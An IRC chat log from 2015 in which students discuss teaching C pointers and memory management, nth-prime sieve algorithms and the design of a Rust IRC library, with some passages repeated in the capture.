[2015-03-03T01:22:10-0500] <grantwu> Half of them don't even work here, the other half don't teach
[2015-03-03T01:22:21-0500] <+awe> The masters student said he didn't know what RTLD_LAZY meant as the second parameter of dlopen.
[2015-03-03T01:22:30-0500] <+awe> RT = runtime
[2015-03-03T01:22:31-0500] <+awe> LD = load
[2015-03-03T01:22:34-0500] <+awe> lazy = lazy
[2015-03-03T01:22:44-0500] <grantwu> er
[2015-03-03T01:22:48-0500] <grantwu> I have no idea what dlopen is
[2015-03-03T01:22:56-0500] <+awe> It allows you to open a dynamic library at runtime.
[2015-03-03T01:23:28-0500] <Tamini> awe, it might just be that you're too smart
[2015-03-03T01:23:33-0500] <Tamini> do you ever think of that
[2015-03-03T01:23:46-0500] <+awe> Basically, RTLD_LAZY just says "Hey, we're not going to load the entire dynamic library right now. We'll just load up each external function bound the first time the function is called."
[2015-03-03T01:24:00-0500] <grantwu> ok makes sense
[2015-03-03T01:24:10-0500] <+awe> versus RTLD_NOW which says "LOAD IT ALL RIGHT NOW"
[2015-03-03T01:24:18-0500] <grantwu> problem with grad TAs is that they haven't taken the classs
[2015-03-03T01:24:40-0500] <+awe> Tamini: I don't like to think that way because it's weird to think that I'm somehow magically smarter than graduate students.
[2015-03-03T01:25:35-0500] <+awe> I guess it might just be characterized as laziness.
[2015-03-03T01:25:41-0500] <+awe> There's no real reason that they need to know C thoroughly.
[2015-03-03T01:25:50-0500] <+awe> It only matters if they actually care about being able to teach effectively.
[2015-03-03T01:26:40-0500] <+awe> I'd imagine there's little motivation for someone who's probably just getting a masters degree to improve their competitiveness in the job market to be an effective teacher.
[2015-03-03T01:26:41-0500] <Tamini> okay, that's fair.
[2015-03-03T01:26:43-0500] <grantwu> also awe I think we're talking about different kinds of classes
[2015-03-03T01:26:58-0500] <+awe> grantwu: How do you figure?
[2015-03-03T01:27:28-0500] <grantwu> like the class I'm talking about isn't an intro to C class
[2015-03-03T01:27:41-0500] <grantwu> it's an intro programming class that uses C
[2015-03-03T01:27:42-0500] <+awe> "The intro C course is run by..."
[2015-03-03T01:27:50-0500] <+awe> Ah.
[2015-03-03T01:27:54-0500] <+awe> That's a bit different, but not significantly.
[2015-03-03T01:28:16-0500] <+awe> This is technically an introduction to systems.
[2015-03-03T01:28:28-0500] <+awe> But more fundamentally, it's an introduction to memory management.
[2015-03-03T01:28:53-0500] <+awe> Most of the discussion of systems is put aside in favor of dealing with the obvious struggle that is actually having to pay attention to memory now.
[2015-03-03T01:29:00-0500] <grantwu> in this course we dont go into details
[2015-03-03T01:29:32-0500] <+awe> Hm, okay.
[2015-03-03T01:29:32-0500] <grantwu> other than free your shit, free it once, stack grows down, heap exists
[2015-03-03T01:29:47-0500] <+awe> I mean, that's roughly the amount of detail we've gone into.
[2015-03-03T01:29:56-0500] <nezorg> free yo shit, bruh
[2015-03-03T01:29:59-0500] <+awe> Plus some stuff about processors and caches and whatnot.
[2015-03-03T01:30:19-0500] <+awe> I think there needs to be a better way to teach computing though.
[2015-03-03T01:30:32-0500] <+awe> I'm still trying to form an effective pedagogical model in my head.
[2015-03-03T01:30:43-0500] <nezorg> wait, tamini is back in here now?
[2015-03-03T01:30:51-0500] <grantwu> Reimplementing malloc is next semester :P
[2015-03-03T01:31:16-0500] <+awe> Engaged pedagogy is really effective, but it's not readily clear how that could apply to computing.
[2015-03-03T01:31:47-0500] <Tamini> nezorg: oh, yeah, you missed that
[2015-03-03T01:31:52-0500] <Tamini> it happened while you were at SO
[2015-03-03T01:32:22-0500] <nezorg> grantwu: size_t heap_address = 0x40000; void *malloc(size_t len) { void *addr = (void *) heap_address; heap_address += len; return addr; } void free(void *ptr) { }
[2015-03-03T01:32:33-0500] <nezorg> Tamini: finally got over whatever it was? :P
[2015-03-03T01:32:42-0500] <grantwu> er... and you fail the performance tests...
[2015-03-03T01:33:05-0500] <Tamini> nezorg: nahh, I'm still a terrible person. But big math tests are over, and i have free time again! :D
[2015-03-03T01:33:11-0500] <grantwu> It's technically "reimplement malloc, free, and realloc"
[2015-03-03T01:33:28-0500] <nezorg> grantwu: comonnnnnnn what's wrong with that implementation
[2015-03-03T01:33:35-0500] <nezorg> who cares about memory leaks anyway
[2015-03-03T01:33:40-0500] <+awe> I guess with respects to programming courses that could look something like a teacher connecting with students on the basis that they themselves write software and are human and when they tell you not to do something, there's real experiences behind that and that teaching is not taking place in a vacuum.
[2015-03-03T01:33:45-0500] <nezorg> (or overflows, for that matter...)
[2015-03-03T01:33:52-0500] <+awe> But I feel like there's more to be desired there.
[2015-03-03T01:34:07-0500] <+awe> And for more abstract things, I haven't the slightest idea what that looks like.
[2015-03-03T01:34:11-0500] <grantwu> Well...
[2015-03-03T01:34:17-0500] <nezorg> grantwu: actually, I would totally pass the performance (speed) tests easily
[2015-03-03T01:34:25-0500] <nezorg> (just not the memory usage tests...)
[2015-03-03T01:34:28-0500] <grantwu> kek
[2015-03-03T01:34:54-0500] <grantwu> I mean if you don't do memory management right
[2015-03-03T01:34:59-0500] <grantwu> Your program segfaults
[2015-03-03T01:35:13-0500] <grantwu> Do you mean more like
[2015-03-03T01:35:15-0500] <+awe> * in the best case
[2015-03-03T01:35:28-0500] <nezorg> awe: ;)
[2015-03-03T01:35:29-0500] <grantwu> For example, the course is being co-taught by someone from Google
[2015-03-03T01:35:42-0500] <grantwu> He has examples of automated testing catching pointer bugs he shows
[2015-03-03T01:36:03-0500] <nezorg> angr can catch use-after-frees!
[2015-03-03T01:36:06-0500] <+awe> grantwu: are you addressing what I was saying right now?
[2015-03-03T01:36:10-0500] <grantwu> yeah
[2015-03-03T01:36:19-0500] <nezorg> (theoretically, at least... we have yet to actually implement that)
[2015-03-03T01:36:26-0500] <+awe> Well, sort of.
[2015-03-03T01:36:48-0500] <+awe> I think even more than automated testing just being able to talk about times where I was a human and shot myself in the foot is useful.
[2015-03-03T01:37:11-0500] <grantwu> I see
[2015-03-03T01:37:18-0500] <grantwu> some students might just tune out though
[2015-03-03T01:37:41-0500] <+awe> The idea of engaged pedagogy is that teachers are humans and have their own experiences and that an aspect of teaching should be to engage students with your experiences and to provide students a platform for engaging you and one another with their experiences.
[2015-03-03T01:38:06-0500] <grantwu> Hmm I see
[2015-03-03T01:38:19-0500] <grantwu> I guess the main objection is that takes time
[2015-03-03T01:38:29-0500] <+awe> Wow, education and learning take time. :)
[2015-03-03T01:38:57-0500] <+awe> In my own experiences at school, I don't think most of my classes are using time very effectively anyway.
[2015-03-03T01:39:03-0500] <+awe> There's a lot of needless repetition.
[2015-03-03T01:39:17-0500] <+awe> Well, not needless in practice, but there's no inherent need for it.
[2015-03-03T01:39:20-0500] <grantwu> No as in like
[2015-03-03T01:39:37-0500] <grantwu> You don't have time in lectures
[2015-03-03T01:39:51-0500] <+awe> Yeah, that's what I mean.
[2015-03-03T01:39:59-0500] <+awe> Every lecture, I have maybe thirty minutes where they repeat last week.
[2015-03-03T01:40:05-0500] <+awe> It's roughly 1/3 of the lecture.
[2015-03-03T01:40:12-0500] <nezorg> sounds fun
[2015-03-03T01:40:17-0500] <grantwu> :/
[2015-03-03T01:40:21-0500] <nezorg> I, too, have the scourge of easy classes
[2015-03-03T01:40:31-0500] <grantwu> oh noes
[2015-03-03T01:40:40-0500] <+awe> I think using that time instead to talk about real experiences would make that repetition less necessary.
[2015-03-03T01:41:19-0500] <grantwu> i haven't had the experience of repetitive lectures :C
[2015-03-03T01:41:27-0500] <+awe> I think if people heard about experiences with use-after-free bugs, for example, and got to really think about the ramifications and how it comes about in things they might be working on, it'll stick with them more than repeating it every week.
[2015-03-03T01:41:29-0500] <grantwu> I miss so much falling asleep in lecture...
[2015-03-03T01:41:39-0500] <grantwu> Wasn't there a zlib bug
[2015-03-03T01:41:45-0500] <+awe> My C lecture on Tuesdays is me on IRC.
[2015-03-03T01:41:55-0500] <+awe> On Thursdays, it's me writing a reflection paper for another class.
[2015-03-03T01:42:47-0500] <grantwu> To be fair last semester I did skip some lectures
[2015-03-03T01:42:59-0500] <grantwu> for spleep
[2015-03-03T01:43:06-0500] <+awe> grantwu: And anyway, I'm not saying the idea I have now is really effective for teaching computing. It's still something I'm trying to work out.
[2015-03-03T01:43:33-0500] <grantwu> teaching CS is hard
[2015-03-03T01:43:43-0500] <+awe> I mean, I want to know what computing education should look like systemically, but I also have the more closely-tied need to know what it'll look like in my own classroom when i'm a professor.
[2015-03-03T01:44:11-0500] <grantwu> You should TA :P
[2015-03-03T01:44:50-0500] <+awe> I have time to think about it, but I think as I'm going through undergrad is probably a good time to start forming some sort of ideas as to how I think undergrad computing education should be.
[2015-03-03T01:45:02-0500] <+awe> I might try to TA some courses, but my focus right now is on getting some good research done.
[2015-03-03T01:45:22-0500] <+awe> And on helping people 1:1 a lot.
[2015-03-03T01:45:37-0500] <grantwu> 1:1 happens with office hours, kind of
[2015-03-03T01:45:46-0500] <+awe> I think it's really valuable to be able to see what pain points people are having with their courses, and how the instruction isn't meeting their needs.
[2015-03-03T01:45:58-0500] <+awe> Yeah, but it's only a certain subset of students who go to office hours.
[2015-03-03T01:46:00-0500] <grantwu> Tbh I think I'm kind of bad at explaining things
[2015-03-03T01:46:17-0500] <+awe> I've been helping quite a few kids with their work for a couple different classes.
[2015-03-03T01:46:50-0500] <grantwu> Isn't that also a subset of students?
[2015-03-03T01:46:54-0500] <+awe> Partly for the very selfish reason that it feels awesome to receive a ton of praise for how effectively I've helped them work through their issues when their TA in office hours failed to do so.
[2015-03-03T01:46:57-0500] <+awe> Yeah, it totally is.
[2015-03-03T01:47:16-0500] <grantwu> It might be that the TA just couldn't explain it though
[2015-03-03T01:47:21-0500] <grantwu> As in, they can't give away the answer
[2015-03-03T01:47:38-0500] <+awe> That's uhh... not helpful.
[2015-03-03T01:47:39-0500] <grantwu> Like in lab today, student's weren't understanding why multiplication by a power of 2 was special
[2015-03-03T01:48:01-0500] <+awe> Talk about decimal and how multiplication by 10 is special in decimal. :)
[2015-03-03T01:48:03-0500] <grantwu> So I'm like... "multiplication by 32... that's a power of two... why is that special?  remember numbers are binary"
[2015-03-03T01:48:11-0500] <grantwu> I think I did actually do that
[2015-03-03T01:48:13-0500] <grantwu> eventually
[2015-03-03T01:48:15-0500] <grantwu> blegh
[2015-03-03T01:48:23-0500] <+awe> That's probably the most effective way.
[2015-03-03T01:48:44-0500] <+awe> Trying to do the hint hint thing is usually ineffectual.
[2015-03-03T01:48:45-0500] <grantwu> the problem with that is though
[2015-03-03T01:49:03-0500] <grantwu> we were trying to also communicate that the task relied on overflow
[2015-03-03T01:49:07-0500] <grantwu> and that doesn't happen with base 10
[2015-03-03T01:49:12-0500] <+awe> Why not?
[2015-03-03T01:49:29-0500] <grantwu> well not normally
[2015-03-03T01:49:36-0500] <+awe> It doesn't happen with binary normally either.
[2015-03-03T01:49:37-0500] <+awe> :p
[2015-03-03T01:49:55-0500] <grantwu> but they're used to overflow with binary
[2015-03-03T01:50:01-0500] <+awe> If I have a counter with three place values in decimal, there is overflow.
[2015-03-03T01:50:09-0500] <grantwu> wat is counter
[2015-03-03T01:50:11-0500] <grantwu> counter?
[2015-03-03T01:50:24-0500] <+awe> Like some sort of device that displays a numerical value
[2015-03-03T01:50:25-0500] <grantwu> I imagine that would be what you'd get
[2015-03-03T01:50:30-0500] <grantwu> no I understand what you mean :P
[2015-03-03T01:50:46-0500] <+awe> I'd just draw it on a board.
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[2015-03-03T01:51:09-0500] <+awe> Or I'd show them some 7-segment LED
[2015-03-03T01:51:39-0500] <grantwu> I don't know analogies are hit and miss for me.  I've constructed elaborate analogies about pointers, libraries, call numbers, and index cards but nobody gets them
[2015-03-03T01:52:07-0500] <grantwu> (by libraries I mean actual physical bookshelf filled buildings, and call numbers I mean the things on the spines of the books)
[2015-03-03T01:52:09-0500] <+awe> Elaborate analogies are almost always going to be hit or miss.
[2015-03-03T01:52:18-0500] <grantwu> Yep
[2015-03-03T01:52:37-0500] <+awe> But showing someone some seven-segment displays is not elaborate.
[2015-03-03T01:52:39-0500] <+awe> That's familiar.
[2015-03-03T01:52:45-0500] <+awe> Think of a gas station sign.
[2015-03-03T01:52:51-0500] <+awe> Or a digital clock.
[2015-03-03T01:53:18-0500] <grantwu> It's hard to strike a balance between helping them forward and having them be independent though
[2015-03-03T01:53:22-0500] <+awe> I also don't think most people would have a hard time just reasoning about the idea that a bounded decimal number can overflow either.
[2015-03-03T01:53:35-0500] <+awe> Yeah, I agree with that much.
[2015-03-03T01:53:42-0500] <grantwu> Well, it's not hard, but if you're trying to avoid mentioning overflow...
[2015-03-03T01:54:05-0500] <grantwu> I think I said "so what happens when you left shift too much"
[2015-03-03T01:54:10-0500] <+awe> Well, you could just ask the question "What happens when the clock says 9999 and you try to add one?"
[2015-03-03T01:55:14-0500] <grantwu> Hmm I see
[2015-03-03T01:55:48-0500] <+awe> I think the most valuable analogies aren't the ones that are elaborate, or even the ones that most aptly describe what's going on.
[2015-03-03T01:55:53-0500] <+awe> I think what tends to stick is the things that are familiar.
[2015-03-03T01:57:09-0500] <+awe> I'd also like to think I'm pretty good at asking guiding questions.
[2015-03-03T01:57:32-0500] <+awe> I was trying to explain to someone how a pointer to a pointer carries more meaning than just a copy of that pointer.
[2015-03-03T01:58:00-0500] <+awe> So, I asked what a pointer allows you to do, and then offered the idea that that could be extended to a pointer to a pointer.
[2015-03-03T01:58:24-0500] <grantwu> *cough* it's the location of an index card on another index card :P
[2015-03-03T01:58:52-0500] <+awe> I was worried about analogies making it worse here.
[2015-03-03T01:59:10-0500] <grantwu> I kid :P
[2015-03-03T01:59:29-0500] <+awe> So, if a pointer lets you modify a value at a position in memory, a pointer to a pointer lets you modify both the value at the position in memory (**p) and where the pointer is pointing (*p).
[2015-03-03T02:00:09-0500] <+awe> I had to try a few different phrasings on that idea, but it was eventually received.
[2015-03-03T02:00:54-0500] <+awe> I could've also just been like "lol, the answer is *p = (*p)->next"
[2015-03-03T02:00:59-0500] <+awe> but that would've been less than helpful.
[2015-03-03T02:01:36-0500] <grantwu> Wait why is the answer *p = (*p)->next
[2015-03-03T02:01:40-0500] <+awe> Ultimately, I was trying to explain how a pointer to a pointer within a linked list is useful for actually mutating the linked list.
[2015-03-03T02:01:44-0500] <+awe> ^
[2015-03-03T02:01:46-0500] <grantwu> p is a... int**?
[2015-03-03T02:02:05-0500] <+awe> It pertains to the task specifically.
[2015-03-03T02:02:14-0500] <grantwu> okay I won't think too hard then
[2015-03-03T02:02:32-0500] <+awe> We had something like: Node** search(LinkedList* list)
[2015-03-03T02:02:36-0500] <+awe> erm
[2015-03-03T02:02:48-0500] <+awe> We had something like: Node** search(LinkedList* list, int content)
[2015-03-03T02:03:02-0500] <+awe> And then something like void remove(LinkedList* list, int content)
[2015-03-03T02:03:07-0500] <+awe> and we wanted to use search.
[2015-03-03T02:04:18-0500] <grantwu> sigh that took me way too long to understand
[2015-03-03T02:04:21-0500] <+awe> So, search would return Node** where the Node itself is your result, the Node* is the previous node's pointer to the node that follows it (aka the pointer to your result in the list), and the actual Node** result from the function is a pointer to that next pointer.
[2015-03-03T02:04:22-0500] <grantwu> That means I need sleep
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[2015-03-03T02:05:02-0500] <+awe> So, the key piece of intuition he needed to gain was that having this Node** actually allows you to mutate the linked list.
[2015-03-03T02:06:27-0500] <grantwu> I see
[2015-03-03T02:06:54-0500] <grantwu> ._. I regret staying up
[2015-03-03T02:06:59-0500] <+awe> Let's both go to bed.
[2015-03-03T02:07:15-0500] <+awe> Good night.
[2015-03-03T02:07:16-0500] <grantwu> All events stemming from this IRC channel I blame JacobEdelman for
[2015-03-03T02:07:21-0500] <grantwu> huehuehuehue
[2015-03-03T02:07:25-0500] <grantwu> night
[2015-03-03T02:07:30-0500] <ernest> Night
[2015-03-03T02:07:31-0500] <+awe> Sounds good. I can defer my responsibility for that to him then.
[2015-03-03T02:08:33-0500] <LittleBobbyTables> whoa ernest is here.
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[2015-03-03T12:50:13-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-03T01:59:29-0500] <+awe> So, if a pointer lets you modify a value at a position in memory, a pointer to a pointer lets you modify both the value at the position in memory (**p) and where the pointer is pointing (*p).
[2015-03-03T02:00:09-0500] <+awe> I had to try a few different phrasings on that idea, but it was eventually received.
[2015-03-03T02:00:54-0500] <+awe> I could've also just been like "lol, the answer is *p = (*p)->next"
[2015-03-03T02:00:59-0500] <+awe> but that would've been less than helpful.
[2015-03-03T02:01:36-0500] <grantwu> Wait why is the answer *p = (*p)->next
[2015-03-03T02:01:40-0500] <+awe> Ultimately, I was trying to explain how a pointer to a pointer within a linked list is useful for actually mutating the linked list.
[2015-03-03T02:01:44-0500] <+awe> ^
[2015-03-03T02:01:46-0500] <grantwu> p is a... int**?
[2015-03-03T02:02:05-0500] <+awe> It pertains to the task specifically.
[2015-03-03T02:02:14-0500] <grantwu> okay I won't think too hard then
[2015-03-03T02:02:32-0500] <+awe> We had something like: Node** search(LinkedList* list)
[2015-03-03T02:02:36-0500] <+awe> erm
[2015-03-03T02:02:48-0500] <+awe> We had something like: Node** search(LinkedList* list, int content)
[2015-03-03T02:03:02-0500] <+awe> And then something like void remove(LinkedList* list, int content)
[2015-03-03T02:03:07-0500] <+awe> and we wanted to use search.
[2015-03-03T02:04:18-0500] <grantwu> sigh that took me way too long to understand
[2015-03-03T02:04:21-0500] <+awe> So, search would return Node** where the Node itself is your result, the Node* is the previous node's pointer to the node that follows it (aka the pointer to your result in the list), and the actual Node** result from the function is a pointer to that next pointer.
[2015-03-03T02:04:22-0500] <grantwu> That means I need sleep
[2015-03-03T02:05:02-0500] <+awe> So, the key piece of intuition he needed to gain was that having this Node** actually allows you to mutate the linked list.
[2015-03-03T02:06:27-0500] <grantwu> I see
[2015-03-03T02:06:54-0500] <grantwu> ._. I regret staying up
[2015-03-03T02:06:59-0500] <+awe> Let's both go to bed.
[2015-03-03T02:07:15-0500] <+awe> Good night.
[2015-03-03T02:07:16-0500] <grantwu> All events stemming from this IRC channel I blame JacobEdelman for
[2015-03-03T02:07:21-0500] <grantwu> huehuehuehue
[2015-03-03T02:07:25-0500] <grantwu> night
[2015-03-03T02:07:30-0500] <ernest> Night
[2015-03-03T02:07:31-0500] <+awe> Sounds good. I can defer my responsibility for that to him then.
[2015-03-03T02:08:33-0500] <LittleBobbyTables> whoa ernest is here.
[2015-03-03T11:49:15-0500] <JacobEdelman_> I have rearrived
[2015-03-03T11:49:51-0500] <JacobEdelman_> awe, Hyper: https://github.com/JacobEdelman/nth-prime
[2015-03-03T11:49:57-0500] <JacobEdelman_> its completely unoptimized
[2015-03-03T11:49:57-0500] <JacobEdelman_> and bad
[2015-03-03T11:50:00-0500] <JacobEdelman_> but it works
[2015-03-03T11:50:30-0500] <JacobEdelman_> and its O(n) or less(I'm not sure, parts of the implementation are done badly)
[2015-03-03T11:51:55-0500] <JacobEdelman_> in order to improve it
[2015-03-03T11:52:12-0500] <JacobEdelman_> the bit where it sieves remaining primes within a range needs to be improved
[2015-03-03T11:52:25-0500] <Fill> python? seriously?
[2015-03-03T11:52:35-0500] <Fill> hehe, just messing with you :P
[2015-03-03T11:52:54-0500] <Fill> (although I'm not a big fan of Python)
[2015-03-03T11:53:13-0500] <Fill> I bet awe is doing it in Rust
[2015-03-03T11:55:20-0500] <JacobEdelman_> awe needed my python version
[2015-03-03T11:55:32-0500] <JacobEdelman_> since he says he can't find any good explanations on how to implement this algo
[2015-03-03T11:55:51-0500] <JacobEdelman_> and without this algo, my unoptimized python is better than his Rust
[2015-03-03T11:56:08-0500] <JacobEdelman_> my belief is that language rarely matters, cause theres always a better algo
[2015-03-03T12:02:24-0500] <Fill> algorithms surely play a major role in the efficiency of a solution. Language choice is often irrelevant except for very specific needs. Some languages may be better suited for some specific task you're trying to accomplish
[2015-03-03T12:02:30-0500] <Fill> but yeah, I agree with you
[2015-03-03T12:08:08-0500] <JacobEdelman_> yeah! somebody agrees with me!
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[2015-03-03T12:12:44-0500] <Fill> lol
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[2015-03-03T12:50:53-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-03T01:59:29-0500] <+awe> So, if a pointer lets you modify a value at a position in memory, a pointer to a pointer lets you modify both the value at the position in memory (**p) and where the pointer is pointing (*p).
[2015-03-03T02:00:09-0500] <+awe> I had to try a few different phrasings on that idea, but it was eventually received.
[2015-03-03T02:00:54-0500] <+awe> I could've also just been like "lol, the answer is *p = (*p)->next"
[2015-03-03T02:00:59-0500] <+awe> but that would've been less than helpful.
[2015-03-03T02:01:36-0500] <grantwu> Wait why is the answer *p = (*p)->next
[2015-03-03T02:01:40-0500] <+awe> Ultimately, I was trying to explain how a pointer to a pointer within a linked list is useful for actually mutating the linked list.
[2015-03-03T02:01:44-0500] <+awe> ^
[2015-03-03T02:01:46-0500] <grantwu> p is a... int**?
[2015-03-03T02:02:05-0500] <+awe> It pertains to the task specifically.
[2015-03-03T02:02:14-0500] <grantwu> okay I won't think too hard then
[2015-03-03T02:02:32-0500] <+awe> We had something like: Node** search(LinkedList* list)
[2015-03-03T02:02:36-0500] <+awe> erm
[2015-03-03T02:02:48-0500] <+awe> We had something like: Node** search(LinkedList* list, int content)
[2015-03-03T02:03:02-0500] <+awe> And then something like void remove(LinkedList* list, int content)
[2015-03-03T02:03:07-0500] <+awe> and we wanted to use search.
[2015-03-03T02:04:18-0500] <grantwu> sigh that took me way too long to understand
[2015-03-03T02:04:21-0500] <+awe> So, search would return Node** where the Node itself is your result, the Node* is the previous node's pointer to the node that follows it (aka the pointer to your result in the list), and the actual Node** result from the function is a pointer to that next pointer.
[2015-03-03T02:04:22-0500] <grantwu> That means I need sleep
[2015-03-03T02:05:02-0500] <+awe> So, the key piece of intuition he needed to gain was that having this Node** actually allows you to mutate the linked list.
[2015-03-03T02:06:27-0500] <grantwu> I see
[2015-03-03T02:06:54-0500] <grantwu> ._. I regret staying up
[2015-03-03T02:06:59-0500] <+awe> Let's both go to bed.
[2015-03-03T02:07:15-0500] <+awe> Good night.
[2015-03-03T02:07:16-0500] <grantwu> All events stemming from this IRC channel I blame JacobEdelman for
[2015-03-03T02:07:21-0500] <grantwu> huehuehuehue
[2015-03-03T02:07:25-0500] <grantwu> night
[2015-03-03T02:07:30-0500] <ernest> Night
[2015-03-03T02:07:31-0500] <+awe> Sounds good. I can defer my responsibility for that to him then.
[2015-03-03T02:08:33-0500] <LittleBobbyTables> whoa ernest is here.
[2015-03-03T11:49:15-0500] <JacobEdelman_> I have rearrived
[2015-03-03T11:49:51-0500] <JacobEdelman_> awe, Hyper: https://github.com/JacobEdelman/nth-prime
[2015-03-03T11:49:57-0500] <JacobEdelman_> its completely unoptimized
[2015-03-03T11:49:57-0500] <JacobEdelman_> and bad
[2015-03-03T11:50:00-0500] <JacobEdelman_> but it works
[2015-03-03T11:50:30-0500] <JacobEdelman_> and its O(n) or less(I'm not sure, parts of the implementation are done badly)
[2015-03-03T11:51:55-0500] <JacobEdelman_> in order to improve it
[2015-03-03T11:52:12-0500] <JacobEdelman_> the bit where it sieves remaining primes within a range needs to be improved
[2015-03-03T11:52:25-0500] <Fill> python? seriously?
[2015-03-03T11:52:35-0500] <Fill> hehe, just messing with you :P
[2015-03-03T11:52:54-0500] <Fill> (although I'm not a big fan of Python)
[2015-03-03T11:53:13-0500] <Fill> I bet awe is doing it in Rust
[2015-03-03T11:55:20-0500] <JacobEdelman_> awe needed my python version
[2015-03-03T11:55:32-0500] <JacobEdelman_> since he says he can't find any good explanations on how to implement this algo
[2015-03-03T11:55:51-0500] <JacobEdelman_> and without this algo, my unoptimized python is better than his Rust
[2015-03-03T11:56:08-0500] <JacobEdelman_> my belief is that language rarely matters, cause theres always a better algo
[2015-03-03T12:02:24-0500] <Fill> algorithms surely play a major role in the efficiency of a solution. Language choice is often irrelevant except for very specific needs. Some languages may be better suited for some specific task you're trying to accomplish
[2015-03-03T12:02:30-0500] <Fill> but yeah, I agree with you
[2015-03-03T12:08:08-0500] <JacobEdelman_> yeah! somebody agrees with me!
[2015-03-03T12:08:16-0500] • JacobEdelman_: makes a third tally mark
[2015-03-03T12:12:44-0500] <Fill> lol
[2015-03-03T12:50:54-0500] Mode is +nt
[2015-03-03T12:51:10-0500] <+awe> Fill: I am definitely doing it during Rust. :)
[2015-03-03T12:51:53-0500] <+awe> Fill: JacobEdelman_'s opinion is bad because while there's always a better algorithm, you can implement the algorithm in any language and it's unlikely that it'd be significantly more or less difficult in any language that you're sufficiently familiar with.
[2015-03-03T12:52:27-0500] <+awe> JacobEdelman_: And your unoptimized Python isn't better than my Rust. I didn't bother implementing it the other way.
[2015-03-03T12:52:32-0500] <Fill> why is it a bad option then? Maybe he's familiar enough with Python
[2015-03-03T12:52:41-0500] <+awe> Oh, I didn't mean Python was a bad option for him.
[2015-03-03T12:52:54-0500] <Fill> ah, sorry, misread it - you wrote *opinion*
[2015-03-03T12:52:56-0500] <+awe> I just mean that he thinks that language choice is irrelevant and there's no reason to use a systems language.
[2015-03-03T12:53:23-0500] <+awe> But for example, I bet bitpacking the sieve in Python would be a pain in the ass.
[2015-03-03T12:53:54-0500] <+awe> So, in general, your memory usage in Python on a sieve is going to suck.
[2015-03-03T12:54:32-0500] <Fill> you're using sieve of Eratosthenes algorithm?
[2015-03-03T12:56:07-0500] <+awe> Well, the best way to calculate the nth prime is to use an estimate for the nth prime (Such as the inverse logarithmic integral of n) and then use the prime counting function to see how far off you are, and then use a segmented sieve in that area to find the actual nth prime.
[2015-03-03T12:56:18-0500] <+awe> The segmented sieve is a modification of the Sieve of Eratosthenes.
[2015-03-03T12:57:01-0500] <Fill> wow
[2015-03-03T12:58:37-0500] <Fill> awe: btw, when you have some time I'd like to discuss with you how can we start writing the IRC server library
[2015-03-03T12:58:59-0500] <Fill> and for the client lib, I really don't see how we could make Command code better
[2015-03-03T12:59:09-0500] <+awe> Yeah, there might not be a clear answer.
[2015-03-03T12:59:21-0500] <+awe> I did a big update yesterday.
[2015-03-03T12:59:25-0500] <Fill> I saw it
[2015-03-03T12:59:29-0500] <Fill> for the new io 
[2015-03-03T12:59:42-0500] <+awe> Yeah. It's pretty neat, but there's something that needs to be fixed.
[2015-03-03T13:00:00-0500] <+awe> We're going to have to introduce our own error type because they removed EOF.
[2015-03-03T13:00:12-0500] <Fill> they did? O.o
[2015-03-03T13:00:14-0500] <+awe> https://github.com/aatxe/irc/blob/master/src/client/server/mod.rs#L313
[2015-03-03T13:00:17-0500] <+awe> Look at this robustness lol.
[2015-03-03T13:00:30-0500] <+awe> Yeah, Read now returns Ok(0) at EOF.
[2015-03-03T13:00:42-0500] <Fill> hmmm
[2015-03-03T13:01:10-0500] <+awe> I think the idea was that EOF is almost never handled in the same way as an error, and therefore should be different.
[2015-03-03T13:01:16-0500] <+awe> It makes it harder to accidentally handle EOF as an error.
[2015-03-03T13:01:17-0500] <Fill> well, in a sense, EOF is not really an I/O error so it kinda makes sense
[2015-03-03T13:01:24-0500] <+awe> Yeah.
[2015-03-03T13:02:23-0500] <+awe> I think we'll use something like Result<T, IoStatus> with enum IoStatus { IoError(std::io::Error), EndOfFile }
[2015-03-03T13:02:47-0500] <+awe> And then we'll have a FromError implementation for IoStatus that'll automatically convert std::io::Error to the IoError constructors.
[2015-03-03T13:02:51-0500] <+awe> It should be pretty easy.
[2015-03-03T13:03:01-0500] <Fill> have you thought about how you'd structure the server part? Because there's a lot of stuff to think about.
[2015-03-03T13:03:30-0500] <+awe> I really think it should be modeled after std::net.
[2015-03-03T13:03:47-0500] <Fill> so, for starters, what kind of functionality should it provide?
[2015-03-03T13:03:48-0500] <Fill> hm
[2015-03-03T13:03:51-0500] <+awe> So, you'd have something like an IrcListener that yields IrcStream (or IrcClient?)
[2015-03-03T13:03:51-0500] <Fill> I need to look at std::net
[2015-03-03T13:04:09-0500] <Fill> IrcClient?
[2015-03-03T13:04:16-0500] <Fill> what about linked servers?
[2015-03-03T13:04:24-0500] <Hyper> awe: if you bitpack the sieve you're gonna have a bad time
[2015-03-03T13:04:28-0500] <Fill> or is that left for the library user to implement?
[2015-03-03T13:04:31-0500] <+awe> Hyper: no
[2015-03-03T13:04:35-0500] <+awe> Hyper: I already implemented it like that.
[2015-03-03T13:04:40-0500] <+awe> Hyper: maybe it's worse for a segmented sieve?
[2015-03-03T13:04:43-0500] <Hyper> the extraction time is longer than the cache miss time
[2015-03-03T13:04:53-0500] <+awe> That's not true.
[2015-03-03T13:04:54-0500] <Hyper> at least from my quick test
[2015-03-03T13:05:02-0500] <+awe> Well, not necessarily true.
[2015-03-03T13:05:08-0500] <+awe> And anyway, the memory usage is more important probably.
[2015-03-03T13:05:16-0500] <+awe> Maybe not for just a small segment.
[2015-03-03T13:05:17-0500] <+awe> I dunno.
[2015-03-03T13:05:20-0500] <+awe> I'd have to test.
[2015-03-03T13:05:28-0500] <Hyper> my bitpacked version was about half as fast
[2015-03-03T13:05:32-0500] <+awe> Fill: Well, linked servers would have to be handled separately.
[2015-03-03T13:05:39-0500] <+awe> Fill: because it uses a different protocol.
[2015-03-03T13:05:42-0500] <Fill> right
[2015-03-03T13:06:06-0500] <+awe> Fill: unless we gave something like enum IrcStream { IrcClient(...), SpanningTreeServer(...) }
[2015-03-03T13:06:42-0500] <+awe> Maybe IrcConnection would be a better name and then the variants would be IrcStream, SpanningTreeStream, etc
[2015-03-03T13:07:35-0500] <Fill> awe: do you know how InspIRCd is designed though? Because when I was writing an IRCd in C for a project at university we used the basic one-thread-per-client model, which was enough for our educational purposes
[2015-03-03T13:07:41-0500] <Fill> but when I connected thousands of clones
[2015-03-03T13:07:46-0500] <+awe> We'll use mio for that.
[2015-03-03T13:07:49-0500] <Fill> it just didn't scale
[2015-03-03T13:07:52-0500] <+awe> You can't do that.
